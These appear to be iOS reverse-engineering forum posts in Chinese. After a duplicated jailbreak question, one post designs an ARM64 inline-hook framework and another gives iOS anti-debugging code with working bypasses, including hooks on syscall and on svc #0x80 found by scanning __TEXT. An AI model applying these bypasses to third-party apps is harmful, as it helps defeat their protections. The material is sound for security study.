@housenkui wrote:
强吻大家都是在ios哪个系统下做的 越狱开发?谢谢,今天下午刚买了一个iOS8.3 的Iphone 5c设备,越狱之后感觉不好用吖…
Posts: 1
Participants: 1
@housenkui wrote:
强吻大家都是在ios哪个系统下做的 越狱开发?谢谢,今天下午刚买了一个iOS8.3 的Iphone 5c设备,越狱之后感觉不好用吖…
Posts: 1
Participants: 1
@jmpews wrote:
一般来说可以分为以下几个模块
- 内存分配 模块
- 指令写 模块
- 指令读 模块
- 指令修复 模块
- 跳板 模块
- 调度器 模块
- 栈 模块
1. 内存分配 模块
需要分配部分内存用于写入指令, 这里需要关注两个函数都是关于内存属性相关的. 1. 如何使内存
可写
2. 如何使内存可执行
3. 如何分配相近的内存来达到near jump
这一部分与具体的操作系统有关. 比如
darwin
下分配内存使用mmap
实际使用的是mach_vm_allocate
. move to detail.在 lldb 中可以通过
memory region address
查看地址的内存属性.当然这里也存在一个巨大的坑, IOS 下无法分配
rwx
属性的内存页. 这导致 inlinehook 无法在非越狱系统上使用, 并且只有MobileSafari
才有VM_FLAGS_MAP_JIT
权限. 具体解释请参下方 [坑 - rwx 与 codesigning].另一个坑就是如何在 hook 目标周围分配内存, 如果可以分配到周围的内存, 可以直接使用
b
指令进行相对地址跳(near jump
), 从而可以可以实现单指令的 hook.举个例子比如
b label
, 在 armv8 中的可以想在+-128MB
范围内进行near jump
, 具体可以参考ARM Architecture Reference Manual ARMv8, for ARMv8-A architecture profile Page: C6-550
.这里可以有三个尝试.
使用
mmap
的MAP_FIXED
尝试在周围地址分配内存页, 成功几率小.尝试使用
vm_region_recurse_64
搜索protection
为PROT_EXEC
&PROT_READ
的code cave
. (通常用来暴力查找dyld
的地址)尝试搜索内存空洞(
code cave
), 搜索__text
这个section
其实更准确来说是搜索__TEXT
这个segment
. 由于内存页对齐的原因以及其他原因很容易出现code cave
. 所以只需要搜索这个区间内的00
即可,00
本身就是无效指令, 所以可以判断该位置无指令使用.当然还可以有强制相对跳(
double jump
), 直接对+-128MB
内选一个地址强制 code patch 并修复.__asm__ { // 第一次绝对地址跳, 跳转到修复模块, 执行正常流程 "ldr x17, #0x8\n" "b #0xc\n" ".long\n" ".long\n" "br x17" // double jump, 跳转到 on_enter_trampoline "ldr x17, #0x8\n" "b #0xc\n" ".long\n" ".long\n" "br x17" }
2. 指令写 模块
先说坑, 非越狱状态下不允许设置
rw-
为r-x
, 或者 设置r-x
为rx-
. 具体解释请参考下方坑 [坑-rwx 与 codesigning].其实这里的指令写有种简单的方法, 就是在本地生成指令的16进制串, 之后直接写即可. 但这种应该是属于 hardcode.
这里使用
frida-gum
和CydiaSubstrace
都用的方法, 把需要用到的指令都写成一个小函数.例如:
// frida-gum/gum/arch-arm64/gumarm64writer.c void gum_arm64_writer_put_ldr_reg_address (GumArm64Writer * self, arm64_reg reg, GumAddress address) { gum_arm64_writer_put_ldr_reg_u64 (self, reg, (guint64) address); } void gum_arm64_writer_put_ldr_reg_u64 (GumArm64Writer * self, arm64_reg reg, guint64 val) { GumArm64RegInfo ri; gum_arm64_writer_describe_reg (self, reg, &ri); g_assert_cmpuint (ri.width, ==, 64); gum_arm64_writer_add_literal_reference_here (self, val); gum_arm64_writer_put_instruction (self, (ri.is_integer ? 0x58000000 : 0x5c000000) | ri.index); }
其实有另外一个小思路, 有一点小不足, 就是确定指令片段的长度, 但其实也有解决方法, 可以放几条特殊指令作为结尾标记.
先使用内联汇编写一个函数.
__attribute__((__naked__)) static void ctx_save() { __asm__ volatile( /* reserve space for next_hop */ "sub sp, sp, #(2*8)\n" /* save {q0-q7} */ "sub sp, sp, #(8*16)\n" "stp q6, q7, [sp, #(6*16)]\n" "stp q4, q5, [sp, #(4*16)]\n" "stp q2, q3, [sp, #(2*16)]\n" "stp q0, q1, [sp, #(0*16)]\n" /* save {x1-x30} */ "sub sp, sp, #(30*8)\n" "stp fp, lr, [sp, #(28*8)]\n" "stp x27, x28, [sp, #(26*8)]\n" "stp x25, x26, [sp, #(24*8)]\n" "stp x23, x24, [sp, #(22*8)]\n" "stp x21, x22, [sp, #(20*8)]\n" "stp x19, x20, [sp, #(18*8)]\n" "stp x17, x18, [sp, #(16*8)]\n" "stp x15, x16, [sp, #(14*8)]\n" "stp x13, x14, [sp, #(12*8)]\n" "stp x11, x12, [sp, #(10*8)]\n" "stp x9, x10, [sp, #(8*8)]\n" "stp x7, x8, [sp, #(6*8)]\n" "stp x5, x6, [sp, #(4*8)]\n" "stp x3, x4, [sp, #(2*8)]\n" "stp x1, x2, [sp, #(0*8)]\n" /* save sp, x0 */ "sub sp, sp, #(2*8)\n" "add x1, sp, #(2*8 + 8*16 + 30*8 + 2*8)\n" "stp x1, x0, [sp, #(0*8)]\n" /* alignment padding + dummy PC */ "sub sp, sp, #(2*8)\n"); }
之后直接复制这块函数内存数据即可, 这一般适合那种指令片段堆.
void ZzThunkerBuildEnterThunk(ZzWriter *writer) { // pop x17 writer_put_ldr_reg_reg_offset(writer, ARM64_REG_X17, ARM64_REG_SP, 0); writer_put_add_reg_reg_imm(writer, ARM64_REG_SP, ARM64_REG_SP, 16); writer_put_bytes(writer, (void *)ctx_save, 26 * 4); // call `function_context_begin_invocation` writer_put_bytes(writer, (void *)pass_enter_func_args, 4 * 4); writer_put_ldr_reg_address( writer, ARM64_REG_X17, (zaddr)(zpointer)function_context_begin_invocation); writer_put_blr_reg(writer, ARM64_REG_X17); writer_put_bytes(writer, (void *)ctx_restore, 23 * 4); }
3. 指令读 模块
这一部分实际上就是
disassembler
, 这一部分可以直接使用capstone
, 这里需要把capstone
编译成多种架构.4. 指令修复 模块
这里的指令修复主要是发生在 hook 函数头几条指令, 由于备份指令到另一个地址, 这就需要对所有
PC(IP)
相关指令进行修复. 对于确定的哪些指令需要修复可以参考 Move to <解析ARM和x86_x64指令格式>.大致的思路就是: 判断
capstone
读取到的指令 ID, 针对特定指令写一个小函数进行修复.例如在
frida-gum
中:frida-gum/gum/arch-arm64/gumarm64relocator.c static gboolean gum_arm64_relocator_rewrite_b (GumArm64Relocator * self, GumCodeGenCtx * ctx) { const cs_arm64_op * target = &ctx->detail->operands[0]; (void) self; gum_arm64_writer_put_ldr_reg_address (ctx->output, ARM64_REG_X16, target->imm); gum_arm64_writer_put_br_reg (ctx->output, ARM64_REG_X16); return TRUE; }
5. 跳板 模块
跳板模块的设计是希望各个模块的实现更浅的耦合, 跳板函数主要作用就是进行跳转, 并准备
跳转目标
需要的参数. 举个例子, 被 hook 的函数经过入口跳板(enter_trampoline
), 跳转到调度函数(enter_chunk
), 需要被 hook 的函数相关信息等, 这个就需要在构造跳板时完成.6. 调度 模块
可以理解为所有被 hook 的函数都必须经过的函数, 类似于
objc_msgSend
, 在这里通过栈返回值来控制函数(replace_call
,pre_call
,half_call
,post_call
)调用顺序.本质有些类似于
objc_msgSend
所有的被 hook 的函数都在经过enter_trampoline
跳板后, 跳转到enter_thunk
, 在此进行下一步的跳转判断决定, 并不是直接跳转到replace_call
.7. 栈模块
如果希望在
pre_call
和post_call
使用同一个局部变量, 就想在同一个函数内一样. 在frida-js
中也就是this
这个关键字. 这就需要自建函数栈, 模拟栈的行为. 同时还要避免线程冲突, 所以需要使用thread local variable
, 为每一个线程中的每一个hook-entry
添加线程栈, 同时为每一次调用添加函数栈. 所以这里存在两种栈. 1. 线程栈(保存了该 hook-entry 的所有当前函数调用栈) 2. 函数调用栈(本次函数调用时的栈)坑
ldr
指令在进行指令修复时, 需要需要将 PC 相关的地址转换为绝对地址, 其中涉及到保存地址到寄存器. 一般来说是使用指令
ldr
. 也就是说如何完成该函数writer_put_ldr_reg_address(relocate_writer, ARM64_REG_X17, target_addr);
frida-gum
的实现原理是, 有一个相对地址表, 在整体一段写完后进行修复.void gum_arm64_writer_put_ldr_reg_u64 (GumArm64Writer * self, arm64_reg reg, guint64 val) { GumArm64RegInfo ri; gum_arm64_writer_describe_reg (self, reg, &ri); g_assert_cmpuint (ri.width, ==, 64); gum_arm64_writer_add_literal_reference_here (self, val); gum_arm64_writer_put_instruction (self, (ri.is_integer ? 0x58000000 : 0x5c000000) | ri.index); }
在 HookZz 中的实现, 直接将地址写在指令后, 之后使用
b
到正常的下一条指令, 从而实现将地址保存到寄存器.void writer_put_ldr_reg_address(ZzWriter *self, arm64_reg reg, zaddr address) { writer_put_ldr_reg_imm(self, reg, (zuint)0x8); writer_put_b_imm(self, (zaddr)0xc); writer_put_bytes(self, (zpointer)&address, sizeof(address)); }
也就是下面的样子.
__asm__ { "ldr x17, #0x8\n" "b #0xc\n" ".long\n" ".long\n" "br x17" }
寄存器污染
在进行 inlinehook 需要进行各种跳转, 通常会以以下模板进行跳转.
0: ldr x16, 8; 4: br x16; 8: 0x12345678 12: 0x00000000
问题在于这会造成 x16 寄存器被污染(arm64 中
svc #0x80
使用 x16 传递系统调用号) 所以这里有两种思路解决这个问题.思路一:
在使用寄存器之前进行
push
, 跳转后pop
, 这里存在一个问题就是在原地址的几条指令进行patch code
时一定会污染一个寄存器(也不能说一定, 如果这时进行压栈, 在之后的invoke_trampline
会导致函数栈发生改变, 此时有个解决方法可以pop
出来, 由 hook-entry 或者其他变量暂时保存, 但这时需要处理锁的问题. )思路二:
挑选合适的寄存器, 不考虑污染问题. 这时可以参考, 下面的资料, 选择 x16 or x17, 或者自己做一个实验
otool -tv ~/Downloads/DiSpecialDriver64 > ~/Downloads/DiSpecialDriver64.txt
通过 dump 一个 arm64 程序的指令, 来判断哪个寄存器用的最少, 但是不要使用x18
寄存器, 你对该寄存器的修改是无效的.Tips: 之前还想过为对每一个寄存器都做适配, 用户可以选择当前的
hook-entry
选择哪一个寄存器作为临时寄存器.参考资料:
PAGE: 9-3 Programmer’s Guide for ARMv8-A 9.1 Register use in the AArch64 Procedure Call Standard 9.1.1 Parameters in general-purpose registers
这里也有一个问题, 这也是
frida-gum
中遇到一个问题, 就是对于svc #0x80
类系统调用, 系统调用号(syscall number)的传递是利用x16
寄存器进行传递的, 所以本框架使用x17
寄存器, 并且在传递参数时使用push
&pop
, 在跳转后恢复x17
, 避免了一个寄存器的使用.
rwx
与codesigning
对于非越狱, 不能分配可执行内存, 不能进行
code patch
.两篇原理讲解 codesign 的原理
https://papers.put.as/papers/ios/2011/syscan11_breaking_ios_code_signing.pdf http://www.newosxbook.com/articles/CodeSigning.pdf
以及源码分析如下:
crash 异常如下, 其中
0x0000000100714000
是 mmap 分配的页.Exception Type: EXC_BAD_ACCESS (SIGKILL - CODESIGNING) Exception Subtype: unknown at 0x0000000100714000 Termination Reason: Namespace CODESIGNING, Code 0x2 Triggered by Thread: 0
寻找对应的错误码
xnu-3789.41.3/bsd/sys/reason.h /* * codesigning exit reasons */ #define CODESIGNING_EXIT_REASON_TASKGATED_INVALID_SIG 1 #define CODESIGNING_EXIT_REASON_INVALID_PAGE 2 #define CODESIGNING_EXIT_REASON_TASK_ACCESS_PORT 3
找到对应处理函数, 请仔细阅读注释里内容, 不做解释了.
# xnu-3789.41.3/osfmk/vm/vm_fault.c:2632 /* If the map is switched, and is switch-protected, we must protect * some pages from being write-faulted: immutable pages because by * definition they may not be written, and executable pages because that * would provide a way to inject unsigned code. * If the page is immutable, we can simply return. However, we can't * immediately determine whether a page is executable anywhere. But, * we can disconnect it everywhere and remove the executable protection * from the current map. We do that below right before we do the * PMAP_ENTER. */ cs_enforcement_enabled = cs_enforcement(NULL); if(cs_enforcement_enabled && map_is_switched && map_is_switch_protected && page_immutable(m, prot) && (prot & VM_PROT_WRITE)) { return KERN_CODESIGN_ERROR; } if (cs_enforcement_enabled && page_nx(m) && (prot & VM_PROT_EXECUTE)) { if (cs_debug) printf("page marked to be NX, not letting it be mapped EXEC\n"); return KERN_CODESIGN_ERROR; } if (cs_enforcement_enabled && !m->cs_validated && (prot & VM_PROT_EXECUTE) && !(caller_prot & VM_PROT_EXECUTE)) { /* * FOURK PAGER: * This page has not been validated and will not be * allowed to be mapped for "execute". * But the caller did not request "execute" access for this * fault, so we should not raise a code-signing violation * (and possibly kill the process) below. * Instead, let's just remove the "execute" access request. * * This can happen on devices with a 4K page size if a 16K * page contains a mix of signed&executable and * unsigned&non-executable 4K pages, making the whole 16K * mapping "executable". */ prot &= ~VM_PROT_EXECUTE; } /* A page could be tainted, or pose a risk of being tainted later. * Check whether the receiving process wants it, and make it feel * the consequences (that hapens in cs_invalid_page()). * For CS Enforcement, two other conditions will * cause that page to be tainted as well: * - pmapping an unsigned page executable - this means unsigned code; * - writeable mapping of a validated page - the content of that page * can be changed without the kernel noticing, therefore unsigned * code can be created */ if (!cs_bypass && (m->cs_tainted || (cs_enforcement_enabled && (/* The page is unsigned and wants to be executable */ (!m->cs_validated && (prot & VM_PROT_EXECUTE)) || /* The page should be immutable, but is in danger of being modified * This is the case where we want policy from the code directory - * is the page immutable or not? For now we have to assume that * code pages will be immutable, data pages not. * We'll assume a page is a code page if it has a code directory * and we fault for execution. * That is good enough since if we faulted the code page for * writing in another map before, it is wpmapped; if we fault * it for writing in this map later it will also be faulted for executing * at the same time; and if we fault for writing in another map * later, we will disconnect it from this pmap so we'll notice * the change. */ (page_immutable(m, prot) && ((prot & VM_PROT_WRITE) || m->wpmapped)) )) )) {
其他文章:
Later on, whenever a page fault occurs the vm_fault function in
vm_fault.c
is called. During the page fault the signature is validated if necessary. The signature will need to be validated if the page is mapped in user space, if the page belongs to a code-signed object, if the page will be writable or simply if it has not previously been validated. Validation happens in thevm_page_validate_cs
function inside vm_fault.c (the validation process and how it is enforced continually and not only at load time is interesting, see Charlie Miller’s book for more details).If for some reason the page cannot be validated, the kernel checks whether the
CS_KILL
flag has been set and kills the process if necessary. There is a major distinction between iOS and OS X regarding this flag. All iOS processes have this flag set whereas on OS X, although code signing is checked it is not set and thus not enforced.In our case we can safely assume that the (missing) code signature couldn’t be verified leading to the kernel killing the process.
Posts: 1
Participants: 1
@jmpews wrote:
任何带特征的检测都是不安全的 & 隐而不发(@Ouroboros)
Move to AntiDebugBypass on github
代码依赖于 HookZz, 一个 hook 框架
前言
对于应用安全甲方一般会在这三个方面做防御.
按逻辑分类的话应该应该分为这几类, 但如果从实现原理的话, 应该分为两类,
用API实现的
和不用API实现的
(这说的不用 API 实现, 不是指换成 inine 函数就行) . 首先使用 API 实现基本统统沦陷. 直接通过指令实现的机制还有一丝存活的可能. 逻辑的话应该分为, 反调试, 反注入, 越狱检测, hook 检测.本文所有相关仅仅针对 aarch64.
假设读者对下知识有了解
- arm64 相关知识
- macho 文件结构以及加载相关知识
- dyld 链接 dylib 相关函数等知识
如何 hook 不定参数函数?
技巧在于伪造原栈的副本. 具体参考下文.
通常来说必备手册
// 指令格式等细节 ARM Architecture Reference Manual(ARMv8, for ARMv8-A architecture profile) https://static.docs.arm.com/ddi0487/b/DDI0487B_a_armv8_arm.pdf ARM Cortex -A Series Programmer’s Guide for ARMv8-A http://infocenter.arm.com/help/topic/com.arm.doc.den0024a/DEN0024A_v8_architecture_PG.pdf Calling conventions for different C++ compilers and operating systems http://www.agner.org/optimize/calling_conventions.pdf Procedure Call Standard for the ARM 64-bit Architecture (AArch64) http://infocenter.arm.com/help/topic/com.arm.doc.ihi0055b/IHI0055B_aapcs64.pdf
通常来说必备源码
// dyld https://opensource.apple.com/tarballs/dyld/ // xnu https://opensource.apple.com/tarballs/xnu/ // objc https://opensource.apple.com/tarballs/objc4/ https://github.com/RetVal/objc-runtime (可编译) // cctools https://opensource.apple.com/tarballs/cctools (很全的头文件)
反调试
反调试从逻辑上分大概分为, 一种是直接屏蔽调试器挂载, 另一种就是根据特征手动检测调试器挂载. 当然也分为使用函数实现 和 直接使用内联 asm 实现.
ptrace 反调试
ptrace 反调试可以使用四种方法实现.
1. 直接使用 ptrace 函数
这里使用的是
dlopen
+dysym
.typedef int (*PTRACE_T)(int request, pid_t pid, caddr_t addr, int data); static void AntiDebug_001() { void *handle = dlopen(NULL, RTLD_GLOBAL | RTLD_NOW); PTRACE_T ptrace_ptr = dlsym(handle, "ptrace"); ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0); }
当然也可以基于 runtime 符号查找.
// runtime to get symbol address, but must link with ` // -Wl,-undefined,dynamic_lookup` or you can use `dlopen` and `dlsym` extern int ptrace(int request, pid_t pid, caddr_t addr, int data); static void AntiDebug_002() { ptrace(PT_DENY_ATTACH, 0, 0, 0); }
2. 使用 syscall 实现
void AntiDebug_005() { syscall(SYS_ptrace, PT_DENY_ATTACH, 0, 0, 0); }
3. 内联 svc + ptrace 实现
其实这种方法等同于直接使用 ptrace, 此时系统调用号是
SYS_ptrace
static __attribute__((always_inline)) void AntiDebug_003() { #ifdef __arm64__ __asm__("mov X0, #31\n" "mov X1, #0\n" "mov X2, #0\n" "mov X3, #0\n" "mov w16, #26\n" "svc #0x80"); #endif }
4. 内联 svc + syscall + ptrace 实现
其实这种方法等同于使用
syscall(SYS_ptrace, PT_DENY_ATTACH, 0, 0, 0)
, 这里需要注意, 此时的系统调用号是 0, 也就是SYS_syscall
static __attribute__((always_inline)) void AntiDebug_004() { #ifdef __arm64__ __asm__("mov X0, #26\n" "mov X1, #31\n" "mov X2, #0\n" "mov X3, #0\n" "mov X4, #0\n" "mov w16, #0\n" "svc #0x80"); #endif }
简单整理下系统调用流程, 只能以
xnu-3789.41.3
源码举例.Supervisor Call causes a Supervisor Call exception. svc 切换
Exception Levels
从EL0(Unprivileged)
到EL1(Privileged)
上面说的是指令层相关, 再说系统层相关, 使用 svc 进行系统中断调用需要明确 3 个点: 中断号, 系统调用号, 以及参数. 下面以 x86-64 举例.
中断向量表
// xnu-3789.41.3/osfmk/x86_64/idt_table.h USER_TRAP_SPC(0x80,idt64_unix_scall) USER_TRAP_SPC(0x81,idt64_mach_scall) USER_TRAP_SPC(0x82,idt64_mdep_scall)
中断处理函数
// xnu-3789.41.3/osfmk/x86_64/idt64.s /* * System call handlers. * These are entered via a syscall interrupt. The system call number in %rax * is saved to the error code slot in the stack frame. We then branch to the * common state saving code. */ #ifndef UNIX_INT #error NO UNIX INT!!! #endif Entry(idt64_unix_scall) swapgs /* switch to kernel gs (cpu_data) */ pushq %rax /* save system call number */ PUSH_FUNCTION(HNDL_UNIX_SCALL) pushq $(UNIX_INT) jmp L_32bit_entry_check
// xnu-3789.41.3/bsd/dev/i386/systemcalls.c __attribute__((noreturn)) void unix_syscall64(x86_saved_state_t *state) { thread_t thread; void *vt; unsigned int code; struct sysent *callp; int args_in_regs; boolean_t args_start_at_rdi; int error; struct proc *p; struct uthread *uthread; x86_saved_state64_t *regs; pid_t pid; assert(is_saved_state64(state)); regs = saved_state64(state); #if DEBUG if (regs->rax == 0x2000800) thread_exception_return(); #endif thread = current_thread(); uthread = get_bsdthread_info(thread); #if PROC_REF_DEBUG uthread_reset_proc_refcount(uthread); #endif /* Get the approriate proc; may be different from task's for vfork() */ if (__probable(!(uthread->uu_flag & UT_VFORK))) p = (struct proc *)get_bsdtask_info(current_task()); else p = current_proc(); /* Verify that we are not being called from a task without a proc */ if (__improbable(p == NULL)) { regs->rax = EPERM; regs->isf.rflags |= EFL_CF; task_terminate_internal(current_task()); thread_exception_return(); /* NOTREACHED */ } code = regs->rax & SYSCALL_NUMBER_MASK; DEBUG_KPRINT_SYSCALL_UNIX( "unix_syscall64: code=%d(%s) rip=%llx\n", code, syscallnames[code >= nsysent ? SYS_invalid : code], regs->isf.rip); callp = (code >= nsysent) ? &sysent[SYS_invalid] : &sysent[code];
系统调用表
xnu-3789.41.3/bsd/kern/syscall.h #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_geteuid 25 #define SYS_ptrace 26 #define SYS_recvmsg 27 #define SYS_sendmsg 28
反调试检测
这里主要是调试器的检测手段, 很多检测到调试器后使用
exit(-1)
退出程序. 这里很容易让 cracker 断点到exit
函数上. 其实有一个 trick 就是利用利用系统异常造成 crash. 比如: 覆盖/重写__TEXT
内容(debugmode 模式下可以对rx-
内存进行操作).或者利用内联汇编实现退出, 并清除堆栈(防止暴力
svc patch with nop
).static __attribute__((always_inline)) void asm_exit() { #ifdef __arm64__ __asm__("mov X0, #0\n" "mov w16, #1\n" "svc #0x80\n" "mov x1, #0\n" "mov sp, x1\n" "mov x29, x1\n" "mov x30, x1\n" "ret"); #endif }
使用 sysctl 检测
这里在检测时也可以通过 svc 实现.
static int DetectDebug_sysctl() __attribute__((always_inline)); int DetectDebug_sysctl() { size_t size = sizeof(struct kinfo_proc); struct kinfo_proc info; int ret, name[4]; memset(&info, 0, sizeof(struct kinfo_proc)); name[0] = CTL_KERN; name[1] = KERN_PROC; name[2] = KERN_PROC_PID; name[3] = getpid(); #if 0 if ((ret = (sysctl(name, 4, &info, &size, NULL, 0)))) { return ret; // sysctl() failed for some reason } #else // or change as `AntiDebug_003` and `AntiDebug_004` // https://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html __asm__ volatile("mov x0, %[name_ptr]\n" "mov x1, #4\n" "mov x2, %[info_ptr]\n" "mov x3, %[size_ptr]\n" "mov x4, #0\n" "mov x5, #0\n" "mov w16, #202\n" "svc #0x80" : : [name_ptr] "r"(name), [info_ptr] "r"(&info), [size_ptr] "r"(&size)); #endif return (info.kp_proc.p_flag & P_TRACED) ? 1 : 0; } void AntiDebug_006() { if (DetectDebug_sysctl()) { asm_exit(); } }
使用 isatty 检测
#include <unistd.h> void AntiDebug_isatty() { if (isatty(1)) { exit(1); } else { } }
使用 ioctl 检测
#include <sys/ioctl.h> void AntiDebug_ioctl() { if (!ioctl(1, TIOCGWINSZ)) { exit(1); } else { } }
svc 完整性检测
上述的 svc 反调试手段, 可以通过 patch
svc #0x80
withnop
轻松绕过. 所以需要校验svc #0x80
是否被 patch, 一个想当然的方法是在正常的代码中使用 svc 进行 coding, 仔细想想并不合适.所以另一个想法就是, 使用 svc 实现一个小功能, 之后检测
x0
返回值. 这里使用的是getpid()
.tips:
longjmp
本来是用在异常时恢复状态, 这里由于未保存状态. 所以可以让攻击者不能对退出进行断点.这里使用, 下面一小段内联汇编可以达到相同的目的.
"mov x1, #0\n" "mov sp, x1\n" "mov x29, x1\n" "mov x30, x1\n" "ret\n"
整体的 svc 完整检测原型如下, 仅做抛砖引玉.
static __attribute__((always_inline)) void check_svc_integrity() { int pid; static jmp_buf protectionJMP; #ifdef __arm64__ __asm__("mov x0, #0\n" "mov w16, #20\n" "svc #0x80\n" "cmp x0, #0\n" "b.ne #24\n" "mov x1, #0\n" "mov sp, x1\n" "mov x29, x1\n" "mov x30, x1\n" "ret\n" "mov %[result], x0\n" : [result] "=r" (pid) : : ); if(pid == 0) { longjmp(protectionJMP, 1); } #endif }
绕过
对于使用函数进行反调试可以使用 hook 轻松绕过, 具体的实现, 直接看代码.
syscall 反调试绕过
因为
syscall
反调试有些特殊, 这里需要介绍下如何绕过syscall
反调试, 使用的是va_list
进行传递参数.http://infocenter.arm.com/help/topic/com.arm.doc.ihi0055b/IHI0055B_aapcs64.pdf
参考阅读va_list
相关.借助 HookZz 有两种方法可以进行绕过
1. 使用
replace_call
绕过这里的
syscall
使用的是va_list
传递参数. 所以这里问题在于如何 hook 不定参数函数. 因为在 hook 之后不确定原函数的参数个数. 所以没有办法调用原函数.所以这里有一个 trick, 在
orig_syscall(number, stack[0], stack[1], stack[2], stack[3], stack[4], stack[5], stack[6], stack[7]);
时伪造了一个栈, 这个栈的内容和原栈相同(应该是大于等于原栈的参数内容). 虽然传递了很多参数, 如果理解function call
的原理的话, 即使传递了很多参数, 但是只要栈的内容不变, 准确的说的是从低地址到高地址的栈里的内容不变(这里可能多压了很多无用的内容到栈里), 函数调用就不会变.这里不要使用
large structure
, 编译时会使用隐含的memcpy
最终传入的其实是地址. 大部分注释请参考下文.int (*orig_syscall)(int number, ...); int fake_syscall(int number, ...) { int request; pid_t pid; caddr_t addr; int data; // fake stack, why use `char *` ? hah char *stack[8]; va_list args; va_start(args, number); // get the origin stack args copy.(must >= origin stack args) memcpy(stack, args, 8 * 8); if (number == SYS_ptrace) { request = va_arg(args, int); pid = va_arg(args, pid_t); addr = va_arg(args, caddr_t); data = va_arg(args, int); va_end(args); if (request == PT_DENY_ATTACH) { NSLog(@"[AntiDebugBypass] catch 'syscall(SYS_ptrace, PT_DENY_ATTACH, 0, " @"0, 0)' and bypass."); return 0; } } else { va_end(args); } // must understand the principle of `function call`. `parameter pass` is // before `switch to target` so, pass the whole `stack`, it just actually // faked an original stack. Do not pass a large structure, will be replace with // a `hidden memcpy`. int x = orig_syscall(number, stack[0], stack[1], stack[2], stack[3], stack[4], stack[5], stack[6], stack[7]); return x; }
2. 使用
pre_call
绕过这种方法需要查看
syscall
的汇编实现, 来确定PT_DENY_ATTACH
放在哪一个寄存器.libsystem_kernel.dylib`__syscall: 0x1815c0900 <+0>: ldp x1, x2, [sp] 0x1815c0904 <+4>: ldp x3, x4, [sp, #0x10] 0x1815c0908 <+8>: ldp x5, x6, [sp, #0x20] 0x1815c090c <+12>: ldr x7, [sp, #0x30] 0x1815c0910 <+16>: mov x16, #0x0 0x1815c0914 <+20>: svc #0x80 0x1815c0918 <+24>: b.lo 0x1815c0930 ; <+48> 0x1815c091c <+28>: stp x29, x30, [sp, #-0x10]! 0x1815c0920 <+32>: mov x29, sp 0x1815c0924 <+36>: bl 0x1815a6dc0 ; cerror 0x1815c0928 <+40>: mov sp, x29 0x1815c092c <+44>: ldp x29, x30, [sp], #0x10 0x1815c0930 <+48>: ret
可以看到调用如果
x0
是SYS_ptrace
, 那么PT_DENY_ATTACH
存放在[sp]
.void syscall_pre_call(RegState *rs, ThreadStack *threadstack, CallStack *callstack) { int num_syscall; int request; zpointer sp; num_syscall = (int)(uint64_t)(rs->general.regs.x0); if (num_syscall == SYS_ptrace) { sp = (zpointer)(rs->sp); request = *(int *)sp; if (request == PT_DENY_ATTACH) { *(long *)sp = 10; NSLog(@"[AntiDebugBypass] catch 'syscall(SYS_ptrace, PT_DENY_ATTACH, 0, " @"0, 0)' and bypass."); } } } __attribute__((constructor)) void patch_syscall_by_pre_call() { zpointer syscall_ptr = (void *)syscall; #if 0 ZzBuildHook((void *)syscall_ptr, NULL, NULL, syscall_pre_call, NULL); ZzEnableHook((void *)syscall_ptr); #endif } // --- end ---
svc #0x80
反调试绕过这里介绍关键是介绍如何对 svc 反调试的绕过.
上面已经对 svc 进行了简单的介绍. 所以理所当然想到的是希望通过
syscall hook
, 劫持system call table(sysent)
. 这里相当于实现syscall hook
. 但是难点之一是需要找到system call table(sysent)
, 这一步可以通过 joker, 对于 IOS 10.x 可以参考http://ioshackerwiki.com/syscalls/
, 难点之二是作为 kext 加载. 可以参考 附录, 对于具体的kernel patch
没有做过深入研究, 应该可以参考 comex 的 datautils0ok, 接下来使用另一种思路对绕过, 其实也就是
code patch
+hook address
. 对__TEXT
扫描svc #0x80
指令, 对于 cracker 来说, 在__TEXT
段使用svc #0x80
具有一定的反调试可能, 所以需要对svc #0x80
进行hook addres
, 这里并不直接对svc #0x80
进行覆盖操作.以下代码依赖于 HookZz).
大致原理就是先搜索到
svc #0x80
指令后, 对该指令地址进行 hook, 之后使用pre_call
修改寄存器的值.void hook_svc_pre_call(RegState *rs, ThreadStack *threadstack, CallStack *callstack) { int num_syscall; int request; num_syscall = (int)(uint64_t)(rs->general.regs.x16); request = (int)(uint64_t)(rs->general.regs.x0); if (num_syscall == SYS_syscall) { int arg1 = (int)(uint64_t)(rs->general.regs.x1); if (request == SYS_ptrace && arg1 == PT_DENY_ATTACH) { *(unsigned long *)(&rs->general.regs.x1) = 10; NSLog(@"[AntiDebugBypass] catch 'SVC #0x80; syscall(ptrace)' and bypass"); } } else if (num_syscall == SYS_ptrace) { request = (int)(uint64_t)(rs->general.regs.x0); if (request == PT_DENY_ATTACH) { *(unsigned long *)(&rs->general.regs.x0) = 10; NSLog(@"[AntiDebugBypass] catch 'SVC-0x80; ptrace' and bypass"); } } else if(num_syscall == SYS_sysctl) { STACK_SET(callstack, (char *)"num_syscall", num_syscall, int); STACK_SET(callstack, (char *)"info_ptr", rs->general.regs.x2, zpointer); } } void hook_svc_half_call(RegState *rs, ThreadStack *threadstack, CallStack *callstack) { // emmm... little long... if(STACK_CHECK_KEY(callstack, (char *)"num_syscall")) { int num_syscall = STACK_GET(callstack, (char *)"num_syscall", int); struct kinfo_proc *info = STACK_GET(callstack, (char *)"info_ptr", struct kinfo_proc *); if (num_syscall == SYS_sysctl) { NSLog(@"[AntiDebugBypass] catch 'SVC-0x80; sysctl' and bypass"); info->kp_proc.p_flag &= ~(P_TRACED); } } } __attribute__((constructor)) void hook_svc_x80() { zaddr svc_x80_addr; zaddr curr_addr, text_start_addr, text_end_addr; uint32_t svc_x80_byte = 0xd4001001; const struct mach_header *header = _dyld_get_image_header(0); struct segment_command_64 *seg_cmd_64 = zz_macho_get_segment_64_via_name((struct mach_header_64 *)header, (char *)"__TEXT"); zsize slide = (zaddr)header - (zaddr)seg_cmd_64->vmaddr; struct section_64 *sect_64 = zz_macho_get_section_64_via_name((struct mach_header_64 *)header, (char *)"__text"); text_start_addr = slide + (zaddr)sect_64->addr; text_end_addr = text_start_addr + sect_64->size; curr_addr = text_start_addr; while (curr_addr < text_end_addr) { svc_x80_addr = (zaddr)zz_vm_search_data((zpointer)curr_addr, (zpointer)text_end_addr, (zbyte *)&svc_x80_byte, 4); if (svc_x80_addr) { NSLog(@"hook svc #0x80 at %p with aslr (%p without aslr)", (void *)svc_x80_addr, (void *)(svc_x80_addr - slide)); ZzBuildHookAddress((void *)svc_x80_addr, (void *)(svc_x80_addr + 4), hook_svc_pre_call, hook_svc_half_call); ZzEnableHook((void *)svc_x80_addr); curr_addr = svc_x80_addr + 4; } else { break; } } }
总结
